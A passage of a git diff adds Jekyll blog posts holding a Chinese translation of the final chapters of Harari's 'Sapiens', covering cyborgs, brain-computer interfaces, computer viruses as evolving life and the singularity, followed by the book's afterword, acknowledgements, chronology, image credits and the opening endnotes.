Chicago）协助下，他能有一双生化手臂。这双新手臂的特殊之处，在于只要用想的就能操纵。杰西的大脑发出神经信号，再由微电脑转译成电子信号命令，就能让手臂移动。所以，杰西想要举起右手的时候，是有意识地进行我们一般人下意识做的动作。虽然这双电子手臂能做的事远远少于正常的人类手臂，但已经让杰西能够处理一些日常生活的简单工作。克劳迪亚·米切尔是一位美国大兵，她最近在一次机车事故中失去了一只手臂，现在也装上了一只类似的生化手。科学家相信，生化手很快不只能够随心所欲运动，还能再发送信号传回大脑，也就是甚至能让截肢病患者恢复触觉！130 +图28 杰西·沙利文和克劳迪亚·米切尔握手。他们的生化手臂只要用意识就能操纵，十分令人惊奇。 +目前的生化手臂还远远不及真正的有机手臂，但它们的发展潜力无穷。举例来说，我们可以让生化手臂有着远大于人类手臂的力量，就算拳王在生化手臂前也会像是弱鸡。此外，生化手臂可以每隔几年就更新换代，也能够脱离身体、远距离操作。 +北卡罗来纳州杜克大学的科学家最近刚证明了这一点，他们在几只恒河猴的大脑里面植入电极，再让电极收集脑中的信号，传送到外部设备。接着，猴子被训练单纯用意识控制外部的生化手脚。有一只叫极光（Aurora）的母猴，不仅学会了如何用意识控制外部的生化手臂，还能同时移动自己的两只手臂。现在它就像是印度教的女神一样，有三条手臂，而且生化手臂还能位于另一个房间甚至另一个城市里。所以，它现在可以坐在北卡罗来纳州的实验室里，一手抓抓背，一手抓抓头，还能有一手在纽约偷根香蕉（只可惜现在还没办法远距离吃香蕉）。另一只叫伊多雅（Idoya）的母猴，则是曾在2008年坐在北卡罗来纳州实验室的椅子上，再用意识控制一双在日本京都的生化腿，让它从此世界知名。那双腿足足有伊多雅体重的20倍重。131 +闭锁症候群（locked-in syndrome）是一种神经疾病，病患会丧失几乎所有控制身体移动的能力，但认知能力却完全不受影响。罹患这种疾病的病人，最后只能用眼球微小的运动与外界沟通。然而，现在已经有几位病人的脑中植入了收集大脑信号的电极。目前科学家正在努力解译这些信号，希望不只能将信号转为动作，更能转为语言。如果实验成功，闭锁症候群的患者就终于能够直接与外界说话，而且我们甚至可以用这项科技来阅读他人心中的想法。132 +然而，在所有目前进行的研究当中，最革命性的就是要建构一个直接的大脑–计算机双向接口，让计算机能够读取人脑的电子信号，并且同时输回人脑能够了解的电子信号。如果这种设备成功，再直接将大脑连上网络，或是让几个大脑彼此相连、形成“脑际网络”，情况会如何？如果大脑能够直接存取集体共同的记忆库，对于人类的记忆、意识和身份认同又会有什么影响？举例来说，在这种情况下，生化人就能够取得他人的记忆。就算从来没听说过另一个人，没看过他的自传，也不是靠着想象，但却能够直接记得他的记忆，就像是自己的记忆一样。而且，这里的他人可能是男，也可能是女。像这样的集体记忆概念，对于自我和性别认同又会有什么影响？在这种时候，我们要怎么“认识你自己”？又要怎么知道，哪些才是真正属于你自己的梦想，而不是集体记忆中的愿望？ +这样的生化人就不再属于人类，甚至也不再属于有机生物，而是完全不同的全新物种。这一切是根本上的改变，其中的哲学、心理或政治影响可能都还不在我们的掌握之中。 +另一种生命 +第三种改变生命法则的方式，则是创造出完全无机的生命。最明显的例子，就是能够自行独立演化的计算机程序和计算机病毒。 +现在资讯工程世界正当红的一个领域，就是基因程序设计（genetic programming）。这种程序设计模仿基因遗传演化。许多程序设计师都有一个梦想，希望能创造出一个能够独立于创造者、完全自行学习演化的程序。在这种情况下，程序设计师只是一个原动力（primum mobile），程序一经发动之后，就会开始自由演化，无论创造者或其他任何人都不再能掌握它的发展方向。 +我们现在已经有了这种程序的原型，也就是一般说的计算机病毒。计算机病毒在网络上流传的时候，会不断自我复制数百万到数亿次，一面要躲避追杀的防毒软件，一面又要与其他病毒争夺网络里的空间。而总有某一次，在病毒自我复制的时候出现了错误，这就成了一种计算机化的突变。这种突变有可能是因为病毒设计师，原本就让病毒偶尔会发生随机复制错误；也有可能就是因为某种随机发生的误差。假设在偶然下，突变后的病毒比较能躲过防毒软件的侦测，而且仍然保留着入侵其他计算机的能力，就会在网络里迅速传播。于是，这种突变种就能生存下来，而且开始繁衍。随着时间过去，网络空间就会充满这些并非由人所设计出来、经过无机演化而成的新型病毒。 +这些病毒算是生命吗？这可能要取决于每个人对“生命”的定义，但它们确实是由新的演化程序而生，完全独立于有机演化的法则和局限之外。 +我们再想象一下另一种可能性。假设你可以将自己的大脑整个儿备份到硬盘上，再用笔记本电脑来读取运作。这样一来，笔记本电脑是不是就能够像智人一样地思考和感受了呢？如果是的话，那算是你吗？还是算别人呢？如果计算机程序设计师可以建构起一个全新的数字个体心灵，完全由计算机程序码组成，但拥有自我的知觉、意识和记忆，这又算是什么？如果你让这个程序在计算机上运作，这算是一个人吗？如果你删了这个程序，算是谋杀吗？ +我们可能很快就会得到这些问题的答案了。2005年成立了一项“蓝脑计划”（Blue Brain Project），希望能用计算机完整重建一个人脑，用电子回路来仿真大脑中的神经网络。计划主持人表示，如果能有足够的经费，大约只要10到20年，就能在计算机里建构出人工大脑，而且语言及举止就像是正常人一样。到现在，并不是所有学者都认为人脑的运作方式类似于计算机（因此也就很难用现今的计算机来仿真），但我们并不能因此就排除这种可能性。在2013年，蓝脑计划已经从欧盟取得了10亿欧元资金的挹注。133 +奇异点 +目前，所有这些新契机只有一小部分已经成真。然而，在2014年这个世界上，文化已经挣脱了生物学的束缚。我们现在不只能改造周遭的世界，更能改造自己体内和内心的世界，而且发展的速度奇快无比。有越来越多领域的行事方式都已经被迫大幅改变，不再能照旧便宜行事。律师需要重新思考关于隐私和身份认同的问题；各国政府需要重新思考医疗保健和平等的问题；体育协会和教育机构需要对公平竞争和成就重新定义；退休基金和劳动力市场也得调整，未来的60岁可能只像是现在的30岁。此外，它们全部都得面对生物工程、生化人及无机生命所带来的难题。 +想当初，第一次进行人类基因组定序的时候花费了15年、30亿美元，但现在只要花上几周、几百美元，就能完成一个人的基因定序。134根据DNA为人度身定做的个人化医学时代已然展开。你的家庭医生很快就能告诉你，你得到肝癌的风险比较高，但倒是不用太烦恼心脏病的概率。医生还能告诉你，某种对92%的人有效的药物就是对你没用，而且另外一种通常会致命的药物反而正是你的救命仙丹。一个几近完美的医疗世界，已经近在眼前。 +然而，医疗知识的改进也会带来新的伦理难题。光是现在，伦理学家和法律专家就已经因为DNA所涉及的隐私问题而感到焦头烂额。保险公司是否有权要求我们提供DNA定序数据？如果要投保人的基因显示遗传性的鲁莽倾向，保险公司又是否有权要求提高保费？以后公司要聘雇新员工的时候，会不会要求的不是履历而是DNA数据？雇主有权歧视DNA看来较差的求职者吗？而像这样的“基因歧视”，我们可以控告吗？生化公司能不能创造出一种新的生物或是新的器官，再申请其DNA序列的专利？我们都认同某个人可以拥有某只鸡，但我们可以完全拥有某个物种吗？ +然而，以上种种都还只是小巫，真正的大巫是吉尔伽美什计划以及未来创造出超人类的可能，将会为人类的伦理、社会和政治秩序带来巨幅改变。不论是《世界人权宣言》、全球各地的政府医疗方案、全民健康保险方案甚至是宪法，都认为人道社会应该让所有成员拥有公平的医疗待遇，并且维持相对良好的健康状态。如果医疗只是要预防疾病、治疗疾病，这一切看来再好不过。但如果医药的目的变成要提高人的能力，情况会有何不同？是让所有人类都能提升能力吗？还是只有少数精英能够享有超人的能力？ +我们这个现代晚期的世界，是有史以来第一次认为所有人类应享有基本上的平等，然而我们可能正准备要打造出一个最不平等的社会。纵观历史，上层阶级总是说自己比下层阶级更聪明、更强壮，整体而言更为优秀。他们过去通常只是在自欺欺人，贫苦农家的孩子智力很可能和王子也相去不远。然而，在新一代医药推波助澜下，上层阶级的自命不凡可能即将成为一种客观事实。 +这不是科幻小说的情节。在大多数的科幻小说里，讲的是像我们一样的智人，拥有光速宇宙飞船和激光枪之类的先进科技。这些小说里的伦理和政治难题多半和我们的世界如出一辙，只不过是把我们的情感和社会问题搬到未来的场景重新上演。然而，未来科技的真正潜力并不在于改变什么车辆或武器，而在于改变智人本身，包括我们的情感、我们的欲望。宇宙飞船其实只是小事，真正会惊天动地的，可能是能够永远年轻的生化人，既不繁衍后代，也没有性欲，能够直接和其他生物共享记忆，而且专注力和记性是现代人类的一千倍以上，不会愤怒、不会悲伤，而他们的情感和欲望完全是我们所无法想象的。 +科幻小说很少会把未来描述成这个样子，因为基本上这种场景就是超乎我们的想象，就算描述出来也难以理解。想把某种超级生化人的生活拍成电影给现代人看，就像是要为尼安德特人演一场莎士比亚剧目。事实上，未来世界主人翁与我们之间的差异，可能会远大于我们和尼安德特人之间的差异。我们与尼安德特人至少都还是人，但未来的主人翁很可能会更接近神的概念。 +物理学家认为宇宙大爆炸（Big Bang）就是一个奇异点（singularity）。在奇异点之前，所有我们认知的自然法则都还不存在，就连时间也不存在。所以要说宇宙大爆炸“之前”如何如何，对我们来说是没有意义、无法理解的。而我们可能正在接近下一个奇异点，所有我们现在这个世界的意义（不论是你我、男女、爱恨）都即将变得再也无关紧要。而在那个点之后的任何事，都还超出我们现在所能想象的。 +科学怪人预言 +在1818年，玛丽·雪莱（Mary Shelley）写出了《科学怪人》（Frankenstein），讲的是一个科学家创造出了人造生物，但失去控制、造成一片混乱。在过去的两个世纪间，有无数个版本不断讲述着同样的故事。这已经成为新科学神话的一大主流概念。乍看之下，科学怪人的故事似乎是在告诉我们，如果竟敢试图僭越神的角色、试图操纵生命，就会受到严厉的惩罚。然而，这个故事其实还有更深的含义。 +科学怪人的故事直接向智人提出挑战，告诉我们智人终结的一天已经不远。根据这个故事，除非发生全球核灾或生态浩劫，否则根据现在科技发展的步伐，很快智人就会被取代。新一代的主宰不仅体形、体态不同，连认知和情感世界也有极大差异。对大多数智人来说，这个故事都实在太令人不安。我们比较想听到的故事，是未来仍然都是由像我们一样的人来主宰，只是多了高速宇宙飞船，让我们能往来于各个星球之间罢了。但是，如果说和我们拥有相同情感和认同的生物未来将会灭绝，由能力远高于我们的陌生物种取而代之，这个版本就比较毛骨悚然，令人难以接受。 +对我们来说，把科学怪人描述成一个怪物，而我们不得不为了拯救人类而将之摧毁，算是个比较能叫人放心的结局。我们喜欢这种版本，是因为这个版本暗示着人类仍然是万物之灵，再也不会有比人类更优秀的物种。此外，想要“改进”人类的尝试也必然失败，因为就算能够增强身体的能力，重点还是在那崇高而不得碰触的人类心灵。 +但人类很难接受的一个事实就是，科学家不仅能够改造身体，也能改造心灵，未来创造出来的科学怪人可能就是硬生生比人类优秀不知凡几，他们看着我们，就像是我们看尼安德特人一样带着一种轻蔑和不屑。 +* * * +我们还不能确定今天的科学怪人是不是会正如这个预言一般。没有人能够确实知道未来。本书最后这几页所做的预测，也不太可能样样都说得准。历史一再让我们看到，许多以为必然会发生的事，常常因为不可预见的阻碍而无法成真，而某些难以想象的情节，最后却成为事实。20世纪40年代进入核子时代的时候，很多人预测公元2000年会成为核子世界。第一颗人造卫星和阿波罗11号发射，也让全球想象力大作，大家都开始认为到了20世纪结束的时候，人类就可以移民到火星和冥王星。但这些预测全都没有成真。而另一方面，当时谁都没想过互联网能发展成现在这个样子。 + + +所以，关于未来的数字物种，可以说现在谁都还说不准。上面提的所有理想或说是梦魇，其实只是为了刺激大家的想象。我们真正应该认真以对的，是在于下一段历史改变不仅是关于科技和组织的改变，更是人类意识与身份认同的根本改变。这些改变触及的会是人类的本质，就连“人”的定义都有可能从此不同。我们还有多久时间？没有人真正知道。如同前面所提，有人认为到了2050年，就有少数人能够达到长生的状态。一些比较不那么激进的预测，则说时间点是在下个世纪或是下一个千禧年。然而，如果从智人长达7万年的历史来看，几千年又算什么呢？ +如果智人的历史确实即将谢幕，我们这些最后一代的智人，或许该花点时间回答最后一个问题：我们究竟想要变成什么？有人把它称之为“人类强化”（Human Enhancement）的问题，所有目前政治家、哲学家、学者和一般大众所争论的其他问题，在人类强化问题前都算不上什么。毕竟，等到智人消失之后，今天所有的宗教、意识形态、民族和阶级很可能也会随之烟消云散。而如果我们的接班人与我们有完全不同的意识层次（或者是有某种已经超乎我们想象的意识运作方式），再谈基督教或伊斯兰教、共产主义或是资本主义，甚至性别的男女，对他们来说可能都已不具意义。 +然而，我们还是有必要谈谈这些关于历史的重要问题，因为就算是这些新时代的神，第一代还是由我们人类所设计，受到我们的文化概念影响。创造他们时所依循的理念，究竟会是资本主义、伊斯兰教，还是女权主义？根据不同的答案，就可能让他们走向完全不同的方向。 +大多数人宁愿躲避而不去想了。就连生命伦理学这个领域，也宁可去回答另一个问题：“有什么是必须禁止的？”我们可以用活人做基因实验吗？用流产的胚胎？用干细胞？克隆羊符合伦理道德吗？克隆黑猩猩？克隆人类呢？虽然这些问题确实都很重要，但如果还认为我们能够踩刹车、阻止让人类升级成另一种不同的物种，可能就太天真了。原因就在于，虽然这些计划各有不同，但追根究底还是回到了对长生不死的追求：吉尔伽美什计划。不管是问科学家为什么要研究基因组，还是为什么要把大脑连接到计算机，或是为什么要在计算机里创建一个心灵，十有八九，都会得到相同的标准答案：这么做是为了治疗疾病、挽救人的性命。想一想，为了治疗精神疾病，就说要在计算机里创建一个心灵，难道不会觉得太小题大做？但就是因为这种标准解答太具正当性，所以没有人能够反驳。正因如此，吉尔伽美什计划正是现在科学的旗舰，能够让科学所做的一切都有了正当的理由。创造科学怪人的弗兰肯斯坦博士，现在就坐在吉尔伽美什的肩膀上。阻挡不了吉尔伽美什，我们也就阻挡不了弗兰肯斯坦博士。 +现在我们唯一能做的，就是影响他们走的方向。既然我们可能很快也能改造我们的欲望，或许真正该问的问题不是“我们究竟想要变成什么”，而是“我们究竟希望自己想要什么”，如果还对这个问题视若等闲，可能就是真的还没想通。 diff --git a/_posts/2017-01-06-213-sapiens-cp21.md b/_posts/2017-01-06-213-sapiens-cp21.md new file mode 100644 index 0000000..dd1bda8 --- /dev/null +++ b/_posts/2017-01-06-213-sapiens-cp21.md @@ -0,0 +1,13 @@ +--- +layout: post +title: 后记 变成神的这种动物 +pid: 213 +tags: [人类简史：从动物到上帝] +--- +后记 +变成神的这种动物 +在7万年前，智人还不过是一种微不足道的动物，在非洲的角落自顾自地生活。但就在接下来的几千年间，智人就成了整个地球的主人、生态系统的梦魇。时至今日，智人似乎只要再跨一步就能进入神的境界，不仅有望获得永恒的青春，更拥有创造和毁灭一切的神力。 +但遗憾的是，智人在地球上的所作所为，实在没有太多令人自豪。虽然我们主宰了环境、增加了粮食产量、盖起城市、建立帝国，还创造了无远弗届的贸易网络，但全球的痛苦减少了吗？一次又一次，虽然整体人类的能力大幅提升，但却不一定能改善个别人类的福祉，而且常常还让其他动物深受其害。 +在过去的几十年间，至少就人类的生存条件而言有了确实的进步，饥荒、瘟疫和战争都已减少。然而，其他动物的生存条件却是以前所未有的速度急遽恶化，而且就算是人类相关的改进，也还需要再长时间观察才能判断是否利大于弊，是否能够延续。 +此外，虽然现在人类已经拥有许多令人赞叹的能力，但我们仍然对目标感到茫然，而且似乎也仍然总是感到不满。我们的交通工具已经从独木舟变成帆船、变成汽船、变成飞机，再变成航天飞机，但我们还是不知道自己该前往的目的地。我们拥有的力量比以往任何时候都更强大，但几乎不知道该怎么使用这些力量。更糟糕的是，人类似乎也比以往任何时候更不负责。我们让自己变成了神，而唯一剩下的只有物理法则，我们也不用对任何人负责。正因如此，我们对周遭的动物和生态系统掀起一场灾难，只为了寻求自己的舒适和娱乐，但从来无法得到真正的满足。 +拥有神的能力，但是不负责任、贪得无厌，而且连想要什么都不知道。天下危险，恐怕莫此为甚。 diff --git a/_posts/2017-01-06-214-sapiens-cp22.md b/_posts/2017-01-06-214-sapiens-cp22.md new file mode 100644 index 0000000..1d84085 --- /dev/null +++ b/_posts/2017-01-06-214-sapiens-cp22.md @@ -0,0 +1,9 @@ +--- +layout: post +title: 致谢 +pid: 214 +tags: [人类简史：从动物到上帝] +--- +致谢 +本书得以成书，要感谢下列人士的建议及协助：撒莱·马哈拉尼、多利特·阿哈罗诺夫、阿莫斯·阿维萨、查傅里叶·巴西莱、诺亚·本宁伽、蒂萨·艾森伯格、阿米尔·芬克、本杰明·Z·凯达尔、尤西·玛丽、艾亚尔·米勒、萨穆埃尔·罗斯纳、拉米·罗索兹、奥弗·斯坦尼茨、迈克尔·商卡尔、盖伊·扎斯拉维斯基，以及所有耶路撒冷希伯来大学世界史课程的师生。 +特别感谢贾里德·戴蒙德，他让我学会了整体的观点；感谢蒂亚戈·侯斯坦，他启发了我写下这个故事；并感谢德博拉·哈里斯，她帮助我将这个故事说给更多人听。 diff --git a/_posts/2017-01-06-215-sapiens-cp23.md b/_posts/2017-01-06-215-sapiens-cp23.md new file mode 100644 index 0000000..9f417a5 --- /dev/null +++ b/_posts/2017-01-06-215-sapiens-cp23.md @@ -0,0 +1,42 @@ +--- +layout: post +title: 历史年表 +pid: 215 +tags: [人类简史：从动物到上帝] +--- +历史年表 +距今年代 +135亿年 物质和能量出现。物理学的开始。 +原子和分子出现。化学的开始。 +45亿年 地球形成。 +38亿年 有机生物形成。生物学的开始。 +600万年 人类和黑猩猩最后的共同祖先。 +250万年 非洲的人属开始演化。出现最早的石器。 +200万年 人类由非洲传播到欧亚大陆。 +演化为不同人种。 +50万年 尼安德特人在欧洲和中东演化。 +30万年 开始日常用火。 +20万年 智人在东非演化。 +7万年 认知革命。出现能够描述虚拟故事的语言。 +历史学的开始。智人传播至非洲之外。 +4.5万年 智人抵达澳大利亚。澳大利亚巨型动物绝种。 +3万年 尼安德特人绝种。 +1.6万年 智人抵达美洲。美洲巨型动物绝种。 +1.3万年 弗洛里斯人绝种。智人成为唯一存活的人类物种。 +1.2万年 农业革命。驯化动植物。 +出现永久聚落。 +5000年 出现最早的王国、文字和金钱。多神教信仰。 +4250年 出现最早的帝国：萨尔贡大帝的阿卡德帝国。 +2500年 出现最早的硬币：通用的金钱。 +波斯帝国：普世的政治秩序（“为全人类的福祉而努力”）。 +印度佛教：普世的真理（“让所有人类解脱痛苦”）。 +2000年 中国汉帝国。地中海罗马帝国。基督教。 +1400年 伊斯兰教。 +500年 科学革命。人类承认自己的无知，开始取得前所未有的能力。 +欧洲人开始征服美洲和各大洋。整个地球形成单一历史场域。资本主义兴起。 +200年 工业革命。家庭和社群被国家和市场取代。动植物大规模绝种。 +现在 人类脱离了地球的疆域。 +核武器威胁人类的生存。 +生物开始越来越由智慧设计形塑，而非自然选择。 +未来 智慧设计成为生命的基本原则？ +智人被超人类取代？ diff --git a/_posts/2017-01-06-216-sapiens-cp24.md b/_posts/2017-01-06-216-sapiens-cp24.md new file mode 100644 index 0000000..97411ae --- /dev/null +++ b/_posts/2017-01-06-216-sapiens-cp24.md @@ -0,0 +1,42 @@ +--- +layout: post +title: 参考数据 +pid: 216 +tags: [人类简史：从动物到上帝] +--- +参考数据 +地图 +1. 智人征服全球。 +2. 农业革命的时间和地点。 +3. 公元1450年的地球。 +4. 基督教和伊斯兰教的传播。 +5. 佛教的传播。 +6. 西班牙入侵时的阿兹特克和印加帝国。 +1. 雪维洞穴的人类手印。? Imagebank/Gettyimages Israel +2. 鲁道夫人、直立人和尼安德特人的现代样貌重建图。? Visual/Corbis +3. 尼安德特男孩样貌重建图。?Anthro- pologisches Institut und Museum, Universit?t Zürich +4. 德国施泰德洞穴的象牙制“狮人”（或女狮子）雕像。Photo Thomas Stephan, ? Ulmer Museum +5. 标致的狮子商标。Photo: Itzik Yahav +6. 以色列北部一座12000年前的墓穴，有一具年约50岁女性的骨骸，旁边还有一副小狗的骨骸。Photo:The Prehistoric Man Museum, Kibbutz Ma’ayan Baruch +7. 拉斯科洞穴大约15000~20000年前的一幅壁画。? Visual/Corbis +8. 阿根廷“手洞”大约公元前7000年的手印。? Visual/Corbis +9. 埃及墓穴壁画，描绘典型的农业景象。? Visual/Corbis +10. 哥贝克力石阵的巨大结构遗迹。Photographs by Deutsches Arch?o-logisches Institut ? +11. 公元前1200年的埃及坟墓壁画：有一对牛在耕田。 ? Visual/Corbis +12. 一头现代的牛。Photo: Anonymous for Animal Rights ? +13. 来自古城乌鲁克（Uruk）大约公元前3400~3000年的泥板，记载着当时的行政文书。? The Sch?yen Collection, Oslo and London, MS 1717. http://www.schoyencollection.com/ +14.12世纪的安第斯文化结绳语。? The Sch?yen Collection, Oslo and London, MS 718. http://www.schoyencollection.com/ +15. 法国国王路易十四王室肖像。? Réunion des musées nationaux / Gérard Blot. +16. 美国总统奥巴马官方照片。? Visual/Corbis +17. 朝圣者绕行着位于麦加圣寺内的卡巴圣堂。 ? Visual/Corbis +18. 孟买的贾特拉帕蒂·希瓦吉火车站。Photograph by fish-bone http://en.wikipedia.org/wiki/File:Victoria_Terminus,_Mumbai.jpg +19. 泰姬玛哈陵。Photo: Guy Gelbgisser Asia Tours. +20. 一幅纳粹的宣传海报。Library of Congress, Bildarchiv Preussischer Kulturbesitz, United States Holocaust Memorial Museum, courtesy of Roland Klemig ? +21. 一幅纳粹的漫画。Photograph by Boaz Neumann. From Kladderadatsch 49 (1933), p. 7. +22. 新墨西哥阿拉莫戈多，1945年7月16日，早上5点29分53秒。? Visual/Corbis +23. 1459年欧洲人的世界地图。? British Library Board, Shelfmark Add. 11267. +24. 1525年的萨尔瓦提世界地图。? Firenze, Biblioteca Medicea Laurenziana, Ms. Laur. Med. Palat. 249 (mappa Salviati) +25. 商业化养鸡场输送带上的小鸡。Photo: Anonymous for Animal Rights ? +26. 哈洛实验。? Photo Researchers / Visualphotos.com +27. 在这只老鼠背上，科学家用牛软骨细胞让它长出一只“耳朵”。Photograph by Charles Vacanti ? +28. 杰西·沙利文和克劳迪亚·米切尔握手。? Imagebank/Gettyimages Israel diff --git a/_posts/2017-01-06-217-sapiens-cp25.md b/_posts/2017-01-06-217-sapiens-cp25.md new file mode 100644 index 0000000..4b19ef9 --- /dev/null +++ b/_posts/2017-01-06-217-sapiens-cp25.md @@ -0,0 +1,168 @@ +--- +layout: post +title: 尾注 +pid: 217 +tags: [人类简史：从动物到上帝] +--- +尾注 +1 Ann Gibbons, ‘Food for Thought: Did the First Cooked Meals Help Fuel the Dramatic Evolutionary Expansion of the Human Brain?’, Science 316:5831 (2007), 1558-1560. +2 Robin Dunber, Grooming, Gossip, and the Evolution of Language (Cambridge, Mass.: Harvard University Press, 1998). +3 Michael L. Wilson and Richard W. Wrangham, ‘Intergroup Relations in Chimpanzees’, Annual Review of Anthropology 32 (2003), 363-392; M. McFarland Symington, ‘Fission-Fusion Social Organization in Ateles and Pan’, International Journal of Primatology, 11:1 (1990), 49; Colin A. Chapman and Lauren J. Chapman, ‘Determinants of Groups Size in Primates: The Importance of Travel Costs’, in On the Move: How and Why Animals Travel in Groups, ed. Sue Boinsky and Paul A. Garber (Chicago: University of Chicago Press, 2000), 26. +4 Dunbar, Grooming, Gossip, and the Evolution of Language, 69-79; Leslie C. Aiello and R. I. M. Dunbar, ‘Neocortex Size, Group Size, and the Evolution of Language’, Current Anthropology 34:2 (1993), 189. For criticism of this approach see: Christopher McCarthy et al., ‘Comparing Two Methods for Estimating Network Size’, Human Organization 60:1 (2001), 32; R. A. Hill and R. I. M. Dunbar, ‘Social Network Size in Humans’, Human Nature 14:1 (2003), 65. +5 Yvette Taborin, ‘Shells of the French Aurignacian and Perigordian’, in Before Lascaux: The Complete Record of the Early Upper Paleolithic, ed. Heidi Knecht, Anne Pike-Tay and Randall White (Boca Raton: CRC Press, 1993), 211-28. +6 G.R. Summerhayes, ‘Application of PIXE-PIGME to Archaeological Analysis of Changing Patterns of Obsidian Use in West New Britain, Papua New Guinea’, in Archaeological Obsidian Studies: Method and Theory, ed. Steven M. Shackley (New York: Plenum Press, 1998), 129-58. +7 Christopher Ryan and Cacilda Jethá, Sex at Dawn: The Prehistoric Origins of Modern Sexuality (New York: Harper, 2010); S. Beckerman and P. Valentine (eds.), Cultures of Multiple Fathers: The Theory and Practice of Partible Paternity in Lowland South America (Gainesville: University Press of Florida, 2002). +8 Noel G. Butlin, Economics and the Dreamtime: A Hypothetical History (Cambridge: Cambridge University Press, 1993), 98-101; Richard Broome, Aboriginal Australians (Sydney: Allen & Unwin , 2002), 15; William Howell Edwards, An Introduction to Aboriginal Societies (Wentworth Falls, N.S.W.: Social Science Press, 1988), 52. +9 Fekri A. Hassan, Demographic Archaeology (New York: Academic Press, 1981), 196-99; Lewis Robert Binford, Constructing Frames of Reference: An Analytical Method for Archaeological Theory Building Using Hunter Gatherer and Environmental Data Sets (Berkeley: University of California Press, 2001), 143. +10 Brian Hare, The Genius of Dogs: How Dogs Are Smarter Than You Think (Dutton: Penguin Group, 2013). +11 Christopher B. Ruff, Erik Trinkaus and Trenton W. Holliday, ‘Body Mass and Encephalization in Pleistocene Homo’, Nature 387 (1997), 173-176; M. Henneberg and M. Steyn, ‘Trends in Cranial Capacity and Cranial Index in Subsaharan Africa During the Holocene’, American Journal of Human Biology 5:4 (1993): 473-79; Drew H. Bailey and David C. Geary, ‘Hominid Brain Evolution: Testing Climatic, Ecological, and Social Competition Models’, Human Nature 20 (2009): 67-79; Daniel J. Wescott and Richard L. Jantz, ‘Assessing Craniofacial Secular Change in American Blacks and Whites Using Geometric Morphometry’, in Modern Morphometrics in Physical Anthropology: Developments in Primatology: Progress and Prospects, ed. Dennis E. Slice (New York: Plenum Publishers, 2005), 231-45. +12 Nicholas G. Blurton Jones et al., ‘Antiquity of Postreproductive Life: Are There Modern Impact on Hunter-Gatherer Postreproductive Life Spans?’, American Journal of Human Biology 14 (2002), 184-205. +13 Kim Hill and A. Magdalena Hurtado, Aché Life History: The Ecology and Demography of a Foraging People (New York: Aldine de Gruyter, 1996), 164, 236. +14 Hill and Hurtado, Aché Life History, 78. +15 Vincenzo Formicola and Alexandra P. Buzhilova, ‘Double Child Burial from Sunghir (Russia): Pathology and Inferences for Upper Paleolithic Funerary Practices’, American Journal of Physical Anthropology 124:3 (2004), 189-98; Giacomo Giacobini, ‘Richness and Diversity of Burial Rituals in the Upper Paleolithic’, Diogenes 54:2 (2007), 19-39. +16 I. J. N. Thorpe, ‘Anthropology, Archaeology, and the Origin of Warfare’, World Archaology 35:1 (2003), 145-65; Raymond C. Kelly, Warless Societies and the Origin of War (Ann Arbor: University of Michigan Press, 2000); Azar Gat, War in Human Civilization (Oxford: Oxford University Press, 2006); Lawrence H. Keeley, War before Civilization: The Myth of the Peaceful Savage (Oxford: Oxford University Press, 1996); Slavomil Vencl, ‘Stone Age Warfare’, in Ancient Warfare: Archaeological Perspectives, ed. John Carman and Anthony Harding (Stroud: Sutton Publishing, 1999), 57-73. +17 James F. O’Connel and Jim Allen, ‘Pre-LGM Sahul (Pleistocene Australia – New Guinea) and the Archeology of Early Modern Humans’, in Rethinking the Human Revolution: New Behavioural and Biological Perspectives on the Origin and Dispersal of Modern Humans, ed. Paul Mellars, Ofer Bar-Yosef, Katie Boyle (Cambridge: McDonald Institute for Archaeological Research, 2007), 395-410; James F. O’Connel and Jim Allen, ‘When Did Humans First Arrived in Grater Australia and Why Is It Important to Know?’, Evolutionary Anthropology, 6:4 (1998), 132-46; James F. O’Connel and Jim Allen, ‘Dating the Colonization of Sahul (Pleistocene Australia – New Guinea): A Review of Recent Research’, Journal of Radiological Science 31:6 (2004), 835-53; Jon M. Erlandson, ‘Anatomically Modern Humans, Maritime Voyaging, and the Pleistocene Colonization of the Americas’, in The first Americans: the Pleistocene Colonization of the New World, ed. Nina G. Jablonski (San Francisco: University of California Press, 2002), 59-60, 63-64; Jon M. Erlandson and Torben C. Rick, ‘Archeology Meets Marine Ecology: The Antiquity of Maritime Cultures and Human Impacts on Marine Fisheries and Ecosystems’, Annual Review of Marine Science 2 (2010), 231-51; Atholl Anderson, ‘Slow Boats from China: Issues in the Prehistory of Indo-China Seafaring’, Modern Quaternary Research in Southeast Asia, 16 (2000), 13- 50; Robert G. Bednarik, ‘Maritime Navigation in the Lower and Middle Paleolithic’, Earth and Planetary Sciences 328 (1999), 559-60; Robert G. Bednarik, ‘Seafaring in the Pleistocene’, Cambridge Archaeological Journal 13:1 (2003), 41-66. +18 Timothy F. Flannery, The Future Eaters: An Ecological History of the Australasian Lands and Peoples (Port Melbourne, Vic.: Reed Books Australia, 1994); Anthony D. Barnosky et al., ‘Assessing the Causes of Late Pleistocene Extinctions on the Continents’, Science 306:5693 (2004): 70–75; Bary W. Brook and David M. J. S. Bowman, ‘The Uncertain Blitzkrieg of Pleistocene Megafauna’, Journal of Biogeography 31:4 (2004), 517–23; Gifford H. Miller et al., ‘Ecosystem Collapse in Pleistocene Australia and a Human Role in Megafaunal Extinction,’ Science 309:5732 (2005), 287–90; Richard G. Roberts et al., ‘New Ages for the Last Australian Megafauna: Continent Wide Extinction about 46,000 Years Ago’, Science 292:5523 (2001), 1888–92. +19 Stephen Wroe and Judith Field, ‘A Review of Evidence for a Human Role in the Extinction of Australian Megafauna and an Alternative Explanation’, Quaternary Science Reviews 25:21–22 (2006), 2692–2703; Barry W. Brooks et al., ‘Would the Australian Megafauna Have Become Extinct If Humans Had Never Colonised the Continent? Comments on ‘‘A Review of the Evidence for a Human Role in the Extinction of Australian Megafauna and an Alternative Explanation’’ by S. Wroe and J. Field’, Quaternary Science Reviews 26:3-4 (2007), 560-564; Chris S. M. Turney et al., ‘Late-Surviving Megafauna in Tasmania, Australia, Implicate Human Involvement in their Extinction’, Proceedings of the National Academy of Sciences 105:34 (2008), 12150-53. +20 John Alroy, ‘A Multispecies Overkill Simulation of the End-Pleistocene Megafaunal Mass Extinction’, Science, 292:5523 (2001), 1893-96; O’Connel and Allen, ‘Pre-LGM Sahul’, 400-1. +21 L.H. Keeley, ‘Proto-Agricultural Practices Among Hunter-Gatherers: A Cross- Cultural Survey’, in Last Hunters, First Farmers: New Perspectives on the Prehistoric Transition to Agriculture, ed. T. Douglas Price and Anne Birgitte Gebauer (Santa Fe, N.M.: School of American Research Press, 1995), 243– 72; R. Jones, ‘Firestick Farming’, Australian Natural History 16 (1969), 224- 28. +22 David J. Meltzer, First Peoples in a New World: Colonizing Ice Age 